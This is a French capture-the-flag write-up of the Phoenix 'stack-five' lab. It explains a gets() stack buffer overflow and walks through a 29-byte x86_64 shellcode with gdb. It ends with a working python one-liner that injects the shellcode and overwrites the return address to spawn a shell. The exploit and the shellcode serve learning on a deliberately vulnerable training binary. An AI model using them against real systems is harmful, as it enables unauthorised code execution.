kiddie
.:: @OREL ::.

Phoenix - Buffer overflow - Stack 5
[ 25/07/2019 ]
Copie originale : [https]://exploit.education/phoenix/stack-five/ --- [0 - Énoncé [1 - Description du programme [1.1 - Code Source [1.2 - Identification de la vulnérabilité [2 - Méthodologie pour l'exploitation [2.1 - Shellcode [3 - Exploitation de la vulnérabilité [4 - Conclusion ---
[0 - Énoncé
As opposed to executing an existing function in the binary, this time we’ll be introducing the concept of “shell code”, and being able to execute our own code. Hints - Don’t feel like you have to write your own shellcode just yet – there’s plenty on the internet. - If you wish to debug your shellcode, be sure to make use of the breakpoint instruction. On i386 / x86_64, that’s 0xcc, and will cause a SIGTRAP. - Make sure you remove those breakpoints after you’re done.
[1 - Description du programme
[1.1 - Code Source
/* * phoenix/stack-five, by https://exploit.education * * Can you execve("/bin/sh", ...) ? * * What is green and goes to summer camp? A brussel scout. */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BANNER \ "Welcome to " LEVELNAME ", brought to you by https://exploit.education" char *gets(char *); void start_level() { char buffer[128]; gets(buffer); } int main(int argc, char **argv) { printf("%s\n", BANNER); start_level(); }
Dans le contexte global, une procédure start_level() est déclarée, son corps contient la création d'un tableau de 128 char noté buffer et un appel à la fonction gets() avec la variable buffer en argument. Le main() se contente d'afficher une bannière et d'appeler start_level().
[1.2 - identification de la vulnérabilité
La vulnérabilité est la même que celle présentée dans stack zero, gets() est une fonction dangereuse vulnérable aux buffer overflow notamment quand l'entrée utilisateur n'est pas contrôlée. Grâce à ce buffer overflow, nous devons parvenir à executer notre propre code en redirigeant le flux d'exécution sur un shellcode qu'on aura injecté dans la variable buffer.
[2 - Méthodologie d'exploitation
Comme indiqué dans l'énoncé, l'objectif de cet exercice n'est pas d'apprendre a créer un shellcode. A défault de créer ce shellcode nous même, on va détailler son rôle, son fonctionnement, en prenant un exemple sur shell-storm.org, une plateforme qui propose un grand nombre de shellcode adaptés aux différents systèmes et archirectures de processeurs.
[2.1 - Shellcode Avant de rentrer dans le vif du sujet, on peut définir un shellcode comme une chaîne de caractères directement compréhensible par le processeur. Comme indiqué plus haut, à chaque système d'exploitation et architecture processeur son shellcode, cette contrainte est notamment due à l'utilisation de différents jeux d'instructions par les processeurs et les API qui diffèrent entre les systèmes d'exploitation, en effet, un execve("/bin/bash") n'a aucun sens pour Windows. Sur Linux, on peut afficher l'architecture processeur sur laquelle le système fonctionne à l'aide de la commande uname -a :
user@phoenix-amd64:/opt/phoenix/amd64$ uname -a Linux phoenix-amd64 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
Le système phoenix est sur une architecture processeur nommée amd64. Maintenant qu'on connaît notre architecture processeur, on peut choisir dans la section dédiée aux machines Linux avec un processeur intel 64 bit un shellcode qui exécute la commande execve("/bin/sh"), par exemple :
/** x86_64 execveat("/bin//sh") 29 bytes shellcode --[ AUTHORS * ZadYree * vaelio * DaShrooms ~ Armature Technologies R&D --[ asm 6a 42 push 0x42 58 pop rax fe c4 inc ah 48 99 cqo 52 push rdx 48 bf 2f 62 69 6e 2f movabs rdi, 0x68732f2f6e69622f 2f 73 68 57 push rdi 54 push rsp 5e pop rsi 49 89 d0 mov r8, rdx 49 89 d2 mov r10, rdx 0f 05 syscall --[ COMPILE gcc execveat.c -o execveat # NX-compatible :) **/ #include <stdio.h> #include <stdlib.h> #include <stdint.h> const uint8_t sc[29] = { 0x6a, 0x42, 0x58, 0xfe, 0xc4, 0x48, 0x99, 0x52, 0x48, 0xbf, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x2f, 0x73, 0x68, 0x57, 0x54, 0x5e, 0x49, 0x89, 0xd0, 0x49, 0x89, 0xd2, 0x0f, 0x05 }; /** str \x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf \x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54 \x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05 **/ int main (void) { ((void (*) (void)) sc) (); return EXIT_SUCCESS; }
S'il on compile ce programme sur le système phoenix, on a bien un shell qui s'exécute. Le code source comporte un commentaire qui décrit la signification des 29 octets qui composent la variable sc, ces 29 octets s'avèrent être une suite d'instructions manipulants la stack et certains registres en terminant par une instruction nommée syscall. Pour comprendre le rôle de ces instructions et déterminer comment l'appel execveat("/bin/sh") est effectué on va dans un premier temps s'intéresser à la convention d'appel d'un processeur amd64. La convention d'appel documente comment les arguments d'une fonction doivent être passés, cette documentation est disponible via le man de syscall :
Arch/ABI arg1 arg2 arg3 arg4 arg5 arg6 arg7 Notes ────────────────────────────────────────────────────────────── ... x86-64 rdi rsi rdx r10 r8 r9 - x32 rdi rsi rdx r10 r8 r9 - ...
On remarque que les 3 premières instructions de notre shellcode maninuple le registre rax alors que celui-ci n'est pas utilisé dans la convention d'appel. Le registre rax est en fait utilisé par l'instruction syscall pour identifier l'appel système a exécuter. On peut consulter l'identifiant des appels systèmes en important le fichier d'en-tête sys/syscall.h et en interromptant la compilation juste après le passage du préprocesseur grâce à l'option -E de gcc :
user@phoenix-amd64:~$ printf "#include <sys/syscall.h>\nSYS_read" | gcc -E - ... # 1 "/usr/include/x86_64-linux-gnu/sys/syscall.h" 1 3 4 # 1 "/usr/include/x86_64-linux-gnu/asm/unistd.h" 1 3 4 # 1 "/usr/include/x86_64-linux-gnu/asm/unistd_64.h" 1 3 4 ... user@phoenix-amd64:~$ cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h ... #define __NR_kexec_file_load 320 #define __NR_bpf 321 #define __NR_execveat 322 #define __NR_userfaultfd 323 #define __NR_membarrier 324 ...
On devrait donc avoir 322 dans le registre rax au moment du syscall et les arguments pour l'appel système execveat() dont le prototype est :
int execveat(int dirfd, const char *pathname, char *const argv[], char *const envp[], int flags);
dans les registres rdi, rsi, rdx, r10 et r8 comme l'indique la convention d'appel. On vérifie ça à l'aide de gdb en s'arrêtant sur l'instruction syscall :
(gdb) c Continuing. Breakpoint 2, 0x000055555555472b in sc () (gdb) i r rax 0x142 322 rbx 0x0 0 rcx 0x0 0 rdx 0x0 0 rsi 0x7fffffffe5e8 140737488348648 rdi 0x68732f2f6e69622f 7526411283028599343 rbp 0x7fffffffe600 0x7fffffffe600 rsp 0x7fffffffe5e8 0x7fffffffe5e8 r8 0x0 0 r9 0x7ffff7de8c60 140737351945312 r10 0x0 0 r11 0x7ffff7ffa19c 140737354113436 r12 0x555555554530 93824992232752 r13 0x7fffffffe6e0 140737488348896 r14 0x0 0 r15 0x0 0 rip 0x55555555472b 0x55555555472b <sc+27> ... (gdb) x/s 0x7fffffffe5e8 0x7fffffffe5e8: "/bin//sh" (gdb) x/i $rip => 0x55555555472b <sc+27>: syscall
Au final, on obtient execveat("/bin//sh", &"/bin//sh", 0, 0, 0). En résumé, en 29 octets, notre shellcode initialise les registres rdi, rsi, rdx, r10 et r8 et appelle execveat() via syscall. Dans les exercices précédents, on a toujours redirigé le flux d'exécution sur un code qui faisait partie du programme, dans stack-five on va devoir pour la première fois rediriger notre programme sur un shellcode qu'on aura donné en entrée via l'appel à gets(). Cela implique d'écraser la sauvegarde de rip avec l'adresse de notre shellcode qui sera stockée sur la stack. Pour obtenir l'adresse de notre shellcode, on peut utiliser la commande ltrace et prendre la valeur renvoyée par gets() :
user@phoenix-amd64:/opt/phoenix/amd64$ ltrace ./stack-five __libc_start_main(0x4005a4, 1, 0x7fffffffe708, 0x4003c8 <unfinished ...> puts("Welcome to phoenix/stack-five, b"...Welcome to phoenix/stack-five, brought to ... ) = 0 gets(0x7fffffffe610, 0x7fffffffe5e0, 0, 0x7ffff7db6d07 ) = 0x7fffffffe610 +++ exited (status 0) +++
Pour notre exploit il faudra donc : 1] Remplir le tableau de 128 char alloué à la variable buffer avec notre shellcode et compléter le reste des 99(128-29) octets avec du junk. 2] Écraser la sauvegarde de rbp. 3] Écraser la sauvegarde de rip avec l'adresse 0x7fffffffe610
[3 - Exploitation de la vulnérabilité
user@phoenix-amd64:/opt/phoenix/amd64$ (python -c 'print "\x6a\x42\x58\xfe\xc4\x48\x99\x52\ \x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05"\ + "A" * 107 + "\x7f\xff\xff\xff\xe6\x10"[::-1]'; cat) | ./stack-five Welcome to phoenix/stack-five, brought to you by https://exploit.education whoami phoenix-amd64-stack-five
[4 - Conclusion
Dans stack-five on a pour la première fois exécuté un code venant de l'extérieur. Les shellcode permettent d'exécuter des actions plus ou moins complexe suivant la longueur du buffer qui nous ai donné, dans cet exercice nous avions 128 octets disponibles et notre shellcode n'en prenait que 29, avec ces 128 octets on aurait par exemple pu ouvrir un port sur l'hôte ou même afficher le contenu de /etc/passwd

Tout est faux tout est conforme.